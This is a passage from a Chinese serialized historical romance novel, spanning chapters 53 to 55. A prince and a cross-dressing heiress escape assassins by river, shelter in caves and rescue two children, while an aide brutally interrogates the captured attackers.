“怎么带她来了?”裴璟冷冷对秦平归道。 在外人面前,他还是很给裴璟面子的。 秦平归站直身子,双掌叠放在额前,躬身行礼,他声音板正:“回太子殿下,傅世子用完午膳后说想出来走走,正巧听见街上的百姓赞颂您的功德,于是要求臣带路过来寻您。” 裴璟猝然发出一声别有深意的笑,在场两人无端打了个寒战。 “过来。”裴璟微扬下颌向傅归荑示意,他声音轻柔,傅归荑却听出强烈地不容拒绝。 她垂落在双侧的手微蜷,慢慢挪过去。 裴璟嫌她速度慢,在两人相距不到两步时,裴璟先一步上前抓住傅归荑的手腕,毫不犹豫用力一拽。 她猝不及防撞上他的胸口。 傅归荑立刻站直身体,本能地想甩开他,无奈力气实在是拧不过裴璟,眉头紧皱,微怒道:“光天化日,你做什么?” 裴璟攥着傅归荑的手,面色淡然,寒声道:“傅世子不是来看孤的么,凑近点,好好看清楚。” 傅归荑没裴璟这样不要脸,更不想当街闹得吸引大家注意力,好在两人衣袖宽大,若不是仔细看也看不出什么来,索性便由着他,自己把脸转到一旁。 她的顺从和配合似乎让裴璟很满意,他改为握住她的五指,又用粗糙的食指去挠她的掌心。 傅归荑又转回来,恼怒地用眼神狠狠剜了裴璟一眼,却没想到他反倒笑了起来。 他的笑让傅归荑耳根子一热。 笑这么开心做什么,看她羞恼的样子很有趣么? 秦平归识趣地把身体转过去,佯装戒备。 心里不屑地哼了声,裴璟现在肯定高兴死了。 意外发生在电光火石之间,一群伪装成做苦工的北蛮人悄无声息围了上来,忽然从怀里亮出匕首,朝裴璟刺去。 若是裴璟站在原处,周围自然有明面上的护卫和藏匿的暗卫保护得密不透风,可他偏偏自己走过来,众人看到秦大人在旁边也稍微松懈了片刻。 谁曾想后面会发生那样的事。 一阵混乱中,傅归荑和裴璟双双落水,秦平归目眦欲裂地望着消失的水花。 他的心当即咯噔一下,脑子像是被敲了闷棍般眩晕。 秦平归的第一反应不是裴璟会不会活下来,而是突如其来冒出个念头。 傅归荑怕水。 作者有话说: 秦平归:狗东西,我替你说好话你竟然这样对我。祸害遗千年,他不会轻易死的。 哥哥肯定是一点一点想起来的,因为小可爱们开了上帝视角,觉得肯定很容易。但是在实际生活中,要确认一件事需要多方佐证,交叉验证。 第54章 心疼 晋江文学城独家发布 傅归荑从没觉得裴璟是如此不可理喻之人。 方才在打斗中两人双双落水, 裴璟在水里护着她一路随浪而漂。 她在水中隐约听到他的闷哼,猜想是撞上了水里的什么东西,上岸后她第一时间去查探他的伤势。 谁料裴璟在确认她完好无损后, 阴沉着一张脸自顾自地往前走。 他在生气,而且非常愤怒。 傅归荑一脸莫名其妙, 赶紧追上去。 后来两人还遭到了北蛮人的围杀, 原来他们在河道沿途的密林里都布置了人手, 就等着裴璟一上来当场活捉。 两人东躲西藏,最后藏身于一处隐秘的山洞, 洞口有茂密的枝叶,不仔细看很难发现。 傅归荑靠在山洞粗糙坚硬的石壁上,裴璟坐在洞口时刻观察外面的情况, 自从上岸后他没跟她再说一句话。 她的外衣已经全部湿透,不过好在鲛绡内甲防水, 倒不是很难受。反观裴璟, 他的外衣已经被水中的尖锐之物划破,衣衫上到处都是破洞和口子, 还滴着水。 他们不能生火, 烟会引来敌人。 傅归荑想了想, 还是起身主动走到裴璟身后。 “你不看一下自己的伤吗?”她皱着眉,裴璟身上混杂着江水的腥味和铁锈味。 坐着的人没有回头,听见她的话也没有一点反应,像个泥塑似的。 傅归荑心里也来了火, 这种时候他耍什么脾气,当务之急不是应该想办法先离开这个是非之地吗? 然而想到裴璟是为她受的伤, 转身离开的双脚像扎了根似的。 她狠狠闭了闭眸, 再睁开时脸上已经褪去薄怒。 傅归荑低头迅速将裴璟的双肩, 后背上下扫过,眸光在后腰靠近脊骨的地方定了瞬,那里的衣服颜色暗沉,很像血液凝固的痕迹。 她蹲下身子,从怀里掏出一瓶伤药,准备掀开他的衣摆替他疗伤。 手刚一碰到他的腰,裴璟的身体当即僵硬了一瞬。而后他猛然转过身,擒住她拿药的手。 他的力道极大,傅归荑甚至快要拿不住手里的瓷瓶,她正想呵斥裴璟,抬眼却对上一双锐利摄人的黑眸。 瞳孔里布满寒光,压抑着愤怒,面色绷紧散发着冷意。 傅归荑有些不适,垂下眸道:“你抓疼我了?” “疼?”裴璟咬字极重,像是要把这个字活生生嚼碎了,吞下去似的。 傅归荑实在是疼得受不了,用了点力想甩开裴璟的桎梏。 谁知道这一下跟点了炮仗似的,裴璟绷着的脸瞬间炸开,脸色甚至有一丝扭曲。 傅归荑心里发寒,有点害怕这样的裴璟,索性撇开脸,躲避他的视线。 “你还知道疼?”他的语气很轻,却像块巨石一样砸在傅归荑的胸口,又疼又闷,喘不过气来。 裴璟不给她喘息之机,大力一拽,将她抵在洞口的石壁上。 “你为什么要冲出去挡那一下,你知不知道如果那把匕首刺进去,你很有可能没命!” 裴璟的胸口剧烈起伏着,急促炙热的气息喷在傅归荑脖颈,烫得她身体像根弓弦一般紧绷。 “但是……如果我不过去,你就会被刺……” “那你就让他刺啊!”裴璟恼怒地憋出一句话:“你不是最心冷最心狠的么,怎么忽然变得这样好心肠。” 傅归荑咬住下唇,定定看着裴璟,心里委屈极了,眼睛里闪着水雾又强行被她眨散。 “你是不是还觉得自己特别委屈,明明好心救我一把,我却不领情。” 傅归荑眼皮一压,虽然没有说话,但她冷漠的表情说明了一切,愤懑又不屑争辩。 裴璟怒极反笑,手掐在傅归荑脖子上,他的力道不轻不重,既能让她呼吸,又给予她不舒服的微窒息感。 “你这么想找死,不如我先杀了你,让你死在我手上总比死在其他人手里好。” 傅归荑愈发觉得裴璟不正常,她扬起头,眼眸也带了火:“你掉河里脑子进水了,我懒得跟你计较。” 说罢一脸嫌恶地抬手去推裴璟,推了半天也推不动。 他的呼吸愈来愈重,最后整个山洞都在回荡他的粗喘声,像一只暴怒却不得不压抑的狮子。 傅归荑的心也随着越跳越沉。 两人之间的气氛变得剑拔弩张,谁也不肯再开口。 最后还是裴璟先败下阵来,他的口吻竟然有些挫败:“傅归荑,你以为你是谁,为什么总以为自己能扛起一切?你是不是心里很得意,觉得自己女扮男装也不输男人?” 傅归荑眼眶微张,双唇紧闭颤抖着,却又忍不住张口反驳他,刚起一个话音,立即被裴璟厉声呵斥。 “你闭嘴!我们之前约法三章是怎么说的?” 第三条,无论发生什么事,你都要以自身的安危为重。 傅归荑好像被他的问题震住了,难道裴璟的意思是,她的生命比他更重要,这个荒谬的想法着实令她惊诧不已。 她只是个小小的世子,而裴璟名义上是南陵太子,实际上早已是无冕之王。 他应当是天底下最金尊玉贵的人,怎么会觉得她的安危比他自己更重要。 傅归荑压平唇线,心里说不出是一种什么感觉。 裴璟目光下敛,瞧见傅归荑依旧冷着脸,面露不屑,一副不知悔改的模样,心里本就没散的火陡然腾上天灵感。 他握紧拳头,指节嘎吱作响,遽然朝傅归荑的耳侧用力一锤,拳风带起假风,鬓发吹落在她的脸颊上。 一声重响落在她而后,他的拳重重砸在石壁上,像在发泄什么似的。 裴璟声音又冷又戾,仔细听还藏着三分请求:“傅归荑,你可不可以把自己当成一个女人,遇到危险不要往前冲,学会躲在安全的地方?” 上次在平溪猎场她也是自作主张引开敌人,殊不知在她离开的那段时间,每一刻都像是在凌迟裴璟的心。 她到底知不知道北蛮人有多凶残? 傅归荑长睫轻颤,半晌轻声开口:“你不知道我们傅家……”其实内部没有看上去那么太平,家族争斗,内外勾结。 尤其是当年勾结北蛮,害她哥哥失踪的罪魁祸首还没有找到,她怎么能退,她怎么敢退? 她还没说完,嘴骤然被紧紧捂住,裴璟的手抖得很厉害,他咬牙道:“我知道,我都知道。秦平归早就把傅家内部的一切调查得清清楚楚,不然你以为我为什么要你生个孩子。” 说道最后,他的脸色有些扭曲:“你想过没有,为什么直到今天,我依旧让你无名无分,还要你生孩子?” 傅归荑呆住。 裴璟忍不住抬腿向前又逼近一步,目光直直盯着她。 “我想要他接替你的位置,卸下你肩膀上原本不该你承担的责任。” 傅归荑被他这句话冷不防惊到,她从来没有想过裴璟竟打的是这个主意,一直以为他逼她生孩子只是为了多一个筹码拿捏她。 实际上,裴璟到了今天都没提过正式求娶傅归荑,也正是因为她的身份问题。若她明面上嫁给他后,生下的孩子绝对不可能送回傅家。 只有让她以镇南王世子身份生下的孩子,才能想办法瞒天过海。 裴璟已经安排好,等她生完孩子后便让“镇南王世子”病逝,生下的孩子就是她的嫡子,成年以前养在皇宫,成年后放回苍云九州,正好接替现在镇南王的位置。 她也不用忍受母子离别之苦。 至于傅家内部的争斗,等裴璟腾出手来自然会帮她收拾干净。 谁曾想傅归荑死活不肯生,他怕把人逼得太紧,于是想着先缓一段时间,再慢慢说服她。 傅归荑心口微动,莫名的酸胀感让她很不舒服。猛然别过脸挣脱裴璟的束缚,粗糙的手掌划过脸颊,带起肌肤细微的颤栗。 “不需要。”她摇摇头,想往后退,却发现退无可退,“我不需要!” 她越说越激动,声音越来越大,像在急于否认什么,又像是在遮掩什么情绪。 傅归荑猛地推开裴璟,想要逃开他的禁锢,更不想面对他灼人的目光。 还不等她走出一步,下一瞬又被他的双掌擒住左右双肩,钉死在石壁上,凹凸不平的岩石磨得她后背刺疼。 “不需要,”裴璟嘴里咀嚼着这三个字,尝出了心酸的滋味,他双目微赤,瞪着傅归荑这个捂不热的顽石,语气陡然激动:“傅归荑,我在心疼你。” “我在心疼你!” “你知不知道,我在心疼你啊!” 裴璟也很激动,捏得傅归荑肩胛骨疼痛难忍,她的眉毛扭成一团。 “为什么你不能学会依靠我!” “为什么要逞强!” “你是我的女人,我护着你天经地义。你可以不困于闺房,也可以去骑马射箭,但是在危险面前你可不可以稍微软弱一点,害怕一点,不要总是以命相搏,以命相抵!” 他说完后急促的喘息着,喉结颤抖不止。 裴璟的每一个字都像是拿着一把小鼓槌在敲击傅归荑的心脏,越来越重,心跳也越来越快,到最后仿佛要震破她的胸腔跳出来似的。 她极力克制住自己的情绪,却还是忍不住热了眼眶。 “不许哭!”裴璟气急败坏地低吼着,手却不由自主地松了力道,拇指指腹自然地替她抹掉眼尾的泪渍。 傅归荑梗着脖子,垂眸闷声道:“我没哭,只是沙石进了眼睛。” 裴璟被气笑了,刚要开口戳破她拙劣的谎言,嘴里忽然被塞了个什么东西,说出口的话被堵在喉间。 硬硬的,还有细软扎舌的容貌? 裴璟松开傅归荑,下意识拿出嘴里的异物。 一颗桃子。 他不解地看着她。 傅归荑讷讷道:“说这么久,你渴了吧,吃个桃休息下。” 裴璟愣了一下,嘴巴微张,聚在胸口的怒气瞬间烟消云散,眼神里透出一种难以言喻的无奈。 她就是这么有本事,一句话能让他裴璟怒不可遏,一个动作又能让他裴璟滋生出无限怜意。 傅归荑仿佛天生是来克他的。 裴璟恨恨咬了一口桃,又酸又甜的味道让他眉头微拧。 “不好吃吗?”傅归荑问他。 裴璟冷笑了声:“你真不会挑桃子。” 傅归荑有点不敢相信,夺过他手中的东西,翻了个面咬下一大口。 “很好吃。”傅归荑放回他手上。 裴璟看着傅归荑腮帮子鼓鼓的,一脸享受,可爱得像个偷松果成功的小松鼠。 她的唇瓣上沾了些许桃汁,水润亮泽,看上去十分美味。 裴璟喉头无意识滚动着,忽然真的觉得干渴难忍。 傅归荑吞下后发现裴璟凑到她脸前,她反射性往后仰头,眉头微皱问:“怎么?” “是有点渴了。“裴璟垂下眼皮,猝然覆上肖想已久的柔唇,强势地掠夺她口中每一滴汁液。 方才被他嫌弃的味道此刻立刻变得不一样,酸酸甜甜,回味无穷,就像傅归荑这个人一样。 无论是她酸的时候,还是她甜的时候,他都该死的喜欢。 最后那颗桃子被裴璟吃得干干净净,他悄悄把桃核小心地贴身收好。 这是傅归荑第一次送他什么东西。 傅家的骑兵和连弩机关不算,那是她送给南陵太子的,而这个桃子送的是裴璟。 傅归荑蹲在地上给裴璟处理伤口,他只掀开下半截腰部上的衣摆,刚好露出伤口全貌便不肯再往上卷。 “这不会是上次你在平溪猎场给我用的那种药吧?”裴璟语气略带调侃:“如果是的话,你少放点。” 傅归荑动作微顿,听他的口气好像已经知道这药的副作用。 她心虚地嗯了声,手一抖,又倾倒了不少出来。 裴璟看破不说破,心里冷笑着,太医早已研制出排出毒素的法子。 傅归荑还想再检查一下裴璟哪里还有伤口,却被他阻止,他凝神细细听了一会外面的动静,语气严肃。 “这里恐怕不安全了,我们需要马上转移。” 裴璟说完抓住她的手臂,像是为了安她的心,补了句:“别怕,有我在。秦平归很快会顺着记号找过来,我们藏好就行。” 傅归荑低头嗯了声。 另一厢的拱桥上。 裴璟和傅归荑摔进湍急污浊的河流后,秦平归的胸口开始有一种微微的窒息感,好像他溺水了一般。 然而他知道,以自己的泅水技术根本不可能溺水。 他将这种奇异的感觉归咎于失去掌控的烦躁感,这群北蛮人简直无法无天,敢在他面前造次,他一定要让他们付出惨痛的代价。 不消半柱香的时间,作乱的人一个不拉地被双手捆在背后,跪在秦平归跟前。 “我给你们一个留全尸的机会,告诉我蒙穆藏在哪里?”他用短刀指着跪在最前面的人。 黑色的皮质面具显得秦平归整个人愈发冰冷诡谲,瞳孔漆黑如墨,闪烁着无机质的冷光,像极了隐藏在沼泽地中最阴冷的蛇。 眼神充满摄人的压迫和洞察一切的锐利,让所有的谎言在他面前无所遁形。 那个看上去像这群人的头领,他扬起脖子,一副誓死不从的样子。 秦平归将人马分成三批。一批沿着河流追查营救裴璟傅归荑二人,一批守在原地继续监工,更是以防还没抓到的北蛮人趁机作乱,最后一批他打算直接杀进蒙穆老巢,釜底抽薪。 裴璟的泅水技术是他教的,这点程度的湍流还难不倒他,带一个人也绰绰有余。 他最怕蒙穆比他先找到人。若是裴璟一人脱身肯定不难,但傅归荑手无缚鸡之力,裴璟又绝不可能丢下她。所以最糟糕的就是他们被人擒住,到时候少不得要被毒打一顿。 裴璟皮糟肉厚的死不了,傅归荑细皮嫩肉,哪里受得了这种苦。 秦平归对傅归荑有种说不出的亲近,否则他这个一向不管闲事的人也不会三番五次提点她,怕她被裴璟责罚。 要是能提前一步捉到蒙穆,无论发生什么事,他都有了谈判的筹码。 秦平归眯着眼睛,淡淡道:“不说,嘴这么硬,我来看看你是不是哑巴?” 他手轻飘飘地一挥,那人的右臂被斩了下来,切口平整,足以说明这把刀的锋利。 痛苦的哀号声刺破天际,跪着的人无一不惶惶瑟瑟,围在周围的暗卫面无表情。 “这不是能出声吗?”秦平归垂眸,刀尖指着他的左肩,“说。” 那人死死咬住唇,眼睛几乎要瞪出眼眶。 秦平归轻描淡写地将他另一只手砍了下来,之后再没有给他开口机会,直接又将两条腿当着其他人的面削掉,活生生把他砍成一个人彘。 “堵上嘴,扔一边。”秦平归的刀滴着血,指向下一个,笑了声:“不是每一个人,我都给他第二次开口的机会。” 他的笑令在场所有人都不禁打了个寒颤。 拿到蒙穆藏身的地点后,秦平归从怀里掏出帕子随意擦干净刀上的血,收回鞘中,立即带人前去。 秦平归这边刚审出结果,裴璟傅归荑二人已经从先前藏身的山洞中走出。 也不知道是两个人运气好,还是他们成功迷惑北蛮人找错了方向,除了远离山洞口的那一段路,他们再也没有发觉追兵的踪迹。 也可能是裴璟的计策有了效果。他让傅归荑用袖箭打了几只鸟下来,控制力道只伤它们的脚而不影响飞行。 这种离奇的要求也就只有傅归荑能做到。 裴璟将自己的衣袍撕成布条,用一种灵活的绳结绑在鸟儿们的脚上,保证它们飞行一段时间后会自动脱落,亦或者自己扯掉。 如此一来,北蛮人或多或少都会被分散注意力。 “怎么了?”裴璟发现傅归荑的走路姿势不正常,脸色也有些苍白,眉头一直没有舒展过。 “没事。”傅归荑不想耽误两人赶路。 裴璟敏锐地察觉到她的右脚往后移了一步。 他不由分说地蹲下来,强行将藏在左脚跟后面的右脚拽出来。 头顶传来一阵倒吸凉气声。 裴璟松了力道,皱着眉脱下她的靴袜,白皙小巧的脚掌底部磨起了一个大大的肿泡。 他冷下脸,仰头望向傅归荑,沉声道:“怎么不早说。” 傅归荑想收回脚没成功,看见裴璟面色不善,辩解道:“不是什么大事,忍忍就行。” 裴璟替她重新穿好,现在挤破恐怕更痛。 他走到傅归荑面前弯下腰,示意她上来。 傅归荑推拒:“不用了,我能走。” 裴璟转过头,现在他明明比她矮上一截,气势却无比凌人,“方才在山洞里,我怎么跟你说的,你都忘记了么?” 傅归荑本想说这点小伤真的没事,但看裴璟一副“你不上来我就不走的“的架势,想了片刻慢慢走过去,趴在他的背上。 裴璟不等傅归荑稳住身形,站直身体健步如飞往前走。 傅归荑吓得登时用双臂环住裴璟的脖颈,两条腿缠上他的左右腰侧。 感受到背后的人的身体从僵硬到温软,他悄悄勾起了唇角。 傅归荑从来没有被人背过,最多在小时候被父亲抱着放在肩膀上,眺望远处的山峦和朝阳。 被人背着的感觉很奇妙,将自己最脆弱的地方交给对方的后背,自己的后背也可以成为他的护盾。 他保护她,她也在保护他。 虽然此时这样的比喻很不恰当,但傅归荑就是这样想的。 裴璟没有把她当成一无所用的菟丝花,他会请求她帮忙射鸟,他也会在她受伤的时候背她走路。 这个认知让傅归荑心里有些窃喜,她慢慢地放松身体,学着把头靠在他的肩膀上。 裴璟的后背宽阔平坦,她紧贴着他,仿佛能感受到他的肌肉与骨骼之间有力的碰撞,充满力量,让人分外安心。 他的体温从衣服里蒸腾而出,熏得傅归荑脸热心跳,她假咳一声问:“我重不重,要不我还是下来?” 裴璟察觉到异动,大掌狠狠拍了一下她后腰下方的软肉,以示警告。 “你往哪拍!”傅归荑羞恼地支起脑袋,怒视他。 “老实点,”裴璟侧头往后看,意味深长道:“你这小身板,我单手就能举起来,你难道不清楚?” 傅归荑瞬间明白他是什么意思,气得红脸赤颈,紧咬下唇说不出一个字。 两人此行的目标是绕过前面这座山,傅归荑告诉裴璟这座山叫断华峰,往东北方向有条隐秘的小道,走出去就是魏县。 裴璟听后眉毛一挑:“你没来过抚城,更没有到过断华峰,倒是挺清楚这些弯弯绕绕的东西。” 傅归荑躲开他探究的眼神,没说话。 她不会告诉裴璟,从抚城回苍云九州的每一条线她都烂熟于心,其中有一条路就是取道魏县。 她怀里还藏有足够多的盘缠。 只差一个机会。 作者有话说: 傅归荑:没眼光,这是我喜欢吃的桃子。 傅归宜:那是我买的,兄弟。 知道真相后的裴璟:……怪不得那么难吃。 第55章 梦话 晋江文学城独家发布 天色渐黑, 夜间行路危险,裴璟在傅归荑的指引下找到了一处山洞。 一路上他们都没有遇见北蛮人的伏兵,料想已经脱离他们的包围圈。 为了既能驱散野兽, 又能烘烤湿漉漉的衣物,他们在山洞里燃了火, 两人围坐在一旁。 裴璟用匕首处理傅归荑打的几只野兔, 手脚利落, 三两下就剥了皮,用树枝串好架在火上烤。 肉与火焰产生奇妙的反应, 浓郁的香气弥漫在小小的山洞里。 傅归荑的视线不自觉黏在诱人的焦黄色外皮上,上面滋滋地冒着细小的热油泡泡。 裴璟注意到她的眼神,眼带笑意。 烤好后切下最嫩的一块肉递给傅归荑, 她低声道谢,拿干净树叶包着吃。 甫一入口, 先尝到酥脆的外皮, 而后是嫩滑多汁的兔肉,一硬一软, 一干一湿, 让人回味无穷。 傅归荑在心里比较她以往吃过的烤野兔, 发现竟然没有一个人能烤得比裴璟还好吃。 不知不觉,她三两口就吃干净了,心里想的他从哪学来的技术。 “给,还有。”裴璟又递过来一块。 傅归荑微抿着唇, 垂眸看向美味的兔肉,诚实地接过来。 裴璟见她吃得一口不剩, 喉间溢出愉悦的笑意:“没想到你喜欢吃这东西, 往常在东宫, 你能多吃几口饭菜我都要谢天谢地。” 傅归荑平日里吃的很少,裴璟为此没少想办法。 她不知道的是,若是哪天她多用一碗饭,甚至多夹一筷子菜,当日膳房必定会受到太子重赏。 傅归荑听后赧然道:“我只是消耗不多。” 不给裴璟再开口打趣她的机会,傅归荑转移话题,夸他:“这味道不错,没想到你还有这样的手艺。” 裴璟扔了骨头,又递给傅归荑一块干净帕子,随口道:“这算什么,我会做的东西多着呢,天上飞的,地下跑的,水里游的,只要是能填饱肚子的,都能试着端上桌。” 傅归荑用帕子的一个小角擦干净嘴边的油渍,又还给裴璟,她听后脱口而出:“你自己学的?” 裴璟接过,毫不介意地擦干净自己的口和手,自然而然道:“对,以前在北蛮的时候自己摸索出来的。” 傅归荑没问他一个太子为什么会去摸索厨艺,想必是挨了饿,不得已才会去做这些事。 由此可窥裴璟当年在北蛮所受之苦,定是常人难以想象的。 傅归荑觉得胸口闷闷的,吃下去的兔肉好像堵在喉咙里,进也进不去,出也出不来,不上不下的,难受到她不想再说话。 然而她脸上没什么表情变化,还是一副清冷淡漠的样子,显得不近人情。 裴璟没察觉到异常,自顾自道:“秦平归可会泅水抓鱼了,那时候我们两吃得最多的就是烤鱼,北蛮皇宫的御花园里有一个很大的池塘,里面的鱼又大又肥,至少被他捉了三分之一。” 回忆起当年沦为质子的生活,裴璟有种恍若隔世的感觉。 那时候他只有一个想法,活下去,活着回南陵。 傅归荑微微侧目,余光看见裴璟被火光照射的侧脸 轮廓清晰,线条分明,火苗在他脸上忽明忽暗地跳动着,他的面容时而异常明亮,时而晦暗不明,明明灭灭,却意外显得温柔平和。 唯一不变的是他那双深邃的眼睛,坚定地看着前方,无论火焰有多灼热。 傅归荑在他的脸上找不到对过去苦难的愤懑与埋怨,他从不抱怨命运对他的不公。 在诉说这些种种能被称之为痛苦的过去时,裴璟的语气格外平和,像是对命运的轻蔑,蔑视它无法打倒他,又像是对过去的调侃,从容地接受一切。 他从不否认过去,更不会沉溺于过去,痛苦没有消磨他的意志,反而带给他无尽的向上之力。 傅归荑明显感觉到自己左心口下方跳的有些快,她仿佛察觉到了这样的失态,有些慌乱地转移视线,最后落在裴璟被火光投射的影子上。 “以后回去,我得了空闲给你烤条鱼吃。”裴璟笑道:“一定叫你此生难忘。” 傅归荑蜷缩着身体,双臂环抱小腿,头搁在膝盖上,不自在道:“不需要,你忙你的,不必为我浪费时间。” 她一语双关。 裴璟的笑收了声,脸冷了下来,傅归荑情不自禁瑟缩了下。 “我要做,”裴璟一如既往地强势:“我还要亲自看着你,一口一口吃完。” 傅归荑听出裴璟别有深意的回答,目光静了下,用一种很淡的声音问:“如果我吃鱼过敏怎么办,你也要逼我吃下去吗?” 裴璟对这个问题几乎没有思考,“不能吃鱼,你可以吃别的。重要的不是吃什么,而是你吃的是谁给的东西。别人能给你的,我绝不会比他少。” 他这是绝不放过她的意思了。 “再说了,你能吃什么,不能吃什么,我心里有数。”裴璟似乎察觉气氛太僵硬,轻声补了一句。 傅归荑不想在这个问题上纠缠,更不想此刻与裴璟争吵,她再一次转移话题:“你和那个秦平归,感情好像与别人不一样?” 裴璟看出傅归荑的小心思也不点破,顺着她的话道:“他,确实和别人不一样。我们也算得上患难与共,生死之交。” 他三言两语的说了些秦平归的情况,看得出裴璟对他多有倚重,说是最信任的人也不为过。 傅归荑在心底暗自诧异,看上去吊儿郎当,玩世不恭的秦平归居然曾经失忆,脸上戴面具是因为火烧毁了他的脸。 想到上次他跟自己玩游戏说戴面具是因为长像让人过目不忘,她原本还以为是因为他相貌出众,却不曾料是这个原因。 傅归荑回忆秦平桂露在外面的下半张脸,流畅的下颌线和好看的唇角,实在是难以想象他面具之下的模样。 “你在想什么?”裴璟注意到傅归荑在发呆。 “在想秦平……你干什么?”傅归荑恼怒地瞪着裴璟放在腰上的手,他刚刚没头没脑地掐了自己一下,疼得她差点咬到舌头。 裴璟长臂一揽,把人搂在怀里,脸色阴沉:“在我面前想别的男人,傅归荑,你胆子不小。” 最后那句话淹没在两人交织的喘息中,傅归荑再也说不出一个字。 洞内火星迸射发出爆炸声,洞外偶尔传来鸟虫乱叫的声音,两者相结合,听的人昏昏欲睡。 傅归荑和裴璟相互靠在一起取暖。 他们约定一个人守上半夜,一个人守下半夜,原本裴璟选的是上半夜,但是傅归荑知道他是不会叫醒自己的。 在她的强硬要求下,最后裴璟妥协了,叮嘱她一定要叫醒自己。 傅归荑点头,她清楚自己是什么情况,若是一夜不睡第二日势必会影响赶路。 裴璟的头靠在石壁上,手紧紧握住傅归荑的五指,十指相交,严丝合缝。 他像是提防什么似的,她稍微动一下都费劲。 傅归荑本想坐在洞口守夜,裴璟强硬地要她挨着自己,他表示没有她在身边自己睡不着。 忽然,裴璟的手抽搐了一下,傅归荑被捏得生疼。 她侧头看过去,裴璟眉头皱得几乎扭曲,呼吸急促,双唇微张似乎在说什么。 傅归荑耳朵凑近一听。 “娘……等我,等我回来。” 傅归荑垂眸盯着两人紧握的双手,睫毛微颤了下,又不动声色地坐了回去。 裴璟还在做噩梦,他的手越收越紧。 似无奈似妥协的轻叹响起,傅归荑轻柔地把他的头移到自己的肩膀上。 裴璟深陷梦魇,挪动他的整个过程都没有清醒的迹象。 他的鼻尖正对着傅归荑的颈窝,一呼一吸间的气息炙热湿润,喷洒在她的皮肤上,漾开痒意。 渐渐地,裴璟安静下来,没再发出呓语。 “我睡了多久?”裴璟睁眼发现自己靠在傅归荑肩上,有些意外。 “时间差不多。”傅归荑握拳轻轻锤了下酸胀的肩头。 裴璟见状,主动替她捏肩,也不问这是怎么回事。心知肚明肯定是傅归荑做的,知道她面子薄,容易害羞,说出来恐怕以后都没这种好事。 “傅归荑,我刚刚有没有说梦话?”裴璟忽然问她。 傅归荑微征,眼神似乎在说你怎么知道? 裴璟假意逼问她:“我说了什么,万一说了什么你不能听的秘密,我可是要杀人灭口的。“ 他以手为刃,抵在傅归荑的脖子上。 傅归荑不惧地仰头看着裴璟,淡淡问:“你真想知道?” 裴璟的手刃在她的喉咙处轻轻地摩挲着,没有一点威慑力。 “你在梦里说,觉得对不起我,心里很愧疚……”傅归荑面不改色地说瞎话:“决定等回京以后就放我回苍云九州。” 裴璟听完后哈哈大笑:“果然是梦话。” 他的手刃散成五爪放在傅归荑后脖颈上,有一下没一下地轻捏她的软肉。 “梦里和现实都是相反的,这说明我绝不会放你回苍云九州。” 尾音陡然一转,裴璟凑到傅归荑耳畔,轻声道:“你早点死心吧。” 傅归荑早知道是这个结果,还是没忍住生气,腹腔明显起伏着。 裴璟当然看出来她在撒谎,没有戳穿她,哄人似的替她顺了顺后背。 “你睡吧,换我来守。” 傅归荑没跟他客气,折腾一晚上,她也有些疲惫,正准备学裴璟靠在石壁上休息,忽而腰间一紧,她整个人被裴璟抱在怀里。 “靠着我睡,舒服点。”他的另一只手强势地压住她的额头,迫使她的脑袋靠在他的胸前。 傅归荑实在是没什么力气跟他争辩,就着这个姿势,听着他规律有力的心跳,沉沉睡了过去。 裴璟不断替傅归荑微调姿势,能让她睡得舒服些。 一不小心,她的怀里掉了个什么东西。 裴璟弯腰拾起,凑到眼前发现是她傍晚打猎用的弹弓。 他们没有弓箭,傅归荑先用剩余不多的袖箭射了只兔子,剥出它的筋制成弹弓,又猎了几只。 傅归荑也会用弹弓。 裴璟眼眸微动,凝视着手心粗糙的弹弓,陷入沉思。 心里有个异想天开,胆大妄为的猜想,转瞬又被他摁灭。 不可能。 百里部在很早以前就被北蛮的赤焰军全数屠灭,他已经亲自证实过。 裴璟闭了闭眼,将弹弓塞回傅归荑怀里。 翌日天刚蒙蒙亮,两人立即启程。 经过一晚上,傅归荑脚下的泡已经好了很多,她拒绝裴璟背他。 裴璟在检查后也没勉强。 两人沿河道走,潺潺的流水声和清脆的鸟鸣声交织着,傅归荑看向前面人高大的身影,心里宁静平和,丝毫没有逃命的慌张忐忑。 走着走着,前方隐约传来呼救声。 两人对视一眼,小心靠近。 有一对约莫七岁左右兄妹被困在河中央,哥哥爬在横亘在水面上的枯树上,手里紧紧抓着另一双手。 枯树的一头卡在河岸的淤泥里,摇摆不定,随时可能会被冲走。 料想这两人一定不小心落水,又极为幸运的抱上了一截浮木,最后又被卡在这里。 傅归荑没出声,她知道他们正在逃命,不宜多生事端,可脚却挪不动步。 眼睛来回在水面和兄妹两人身上打转,在心里默默衡量自己去救人的成功率。 “你在这里等我一下。”裴璟判断了一下形势,当机立断站在岸边告诉两人不要乱动。 傅归荑愣了一下,她还以为裴璟会视而不见,毕竟现在没什么比自身安危更重要,正盘算要如何开口请求裴璟等她一下。 没想到裴璟会主动去救人。 傅归荑胸口染上一层热意,他好像也不是那么心狠手辣,只会寒着脸冷冰冰下命令。 南陵将他送去北蛮为质,他没有心生怨恨,反倒真心爱着脚下这片土地,爱着他的子民。 他对犯错误的人毫不留情,也会对弱小幼童伸出援手。 傅归荑忽然好奇裴璟到底过去经历了什么。 他可以是高高在上,俯瞰众生,主宰所有人命运的君王。也可以是平易近人,会烤肉,也会出手相救不相干的普通人。 说他冷酷无情也对。 说他怜爱众生也没错。 裴璟能自如地在心狠手黑的天潢贵胄与七情六欲的普通人中随心所欲地切换。 他是怎么做到的? 傅归荑找不到答案,她默默看裴璟小心跳入水中,沿着枯树快速游过去。 枯树上的哥哥见有人来救他们,第一时间先让裴璟带水里的妹妹走。 “接一下。”裴璟很轻松地救下妹妹。 傅归荑连忙把人抱上岸,不自在地低声嘱咐了一句:“你自己注意安全。” 裴璟忙着救人,没听清傅归荑说什么,当下也来不及问清楚,一头扎入浑浊的水里。 傅归荑的视线紧紧盯着水面下方的一团黑影,眼睛都不敢眨一下,生怕失去他的踪迹。 很快,裴璟又带着哥哥游回来。 兄妹两一落地,登时抱在一起痛哭。 哥哥先意识到什么,他轻轻推开自己的妹妹,拉着他的手走到裴璟面前跪下。 他们说自己的家被洪水淹没,两人与父母在转移途中失散,又不幸落入河里。 “大恩大德,我们兄妹二人没齿难忘,还请恩公告诉我们您的名字,以后必定涌泉相报。” 裴璟拧干袖子上的水,淡淡道:“不必,你们沿着这条路往上走,天黑之前能到抚城,进城后去找衙门说明情况,他们会帮你们联系父母。” 哥哥却执意问。 裴璟:“若你真想报恩,不如好好读书,将来考取功名,日后造福百姓,不要再让水患危害一方。” 哥哥见问不出什么,便把自己的姓名告诉了裴璟。 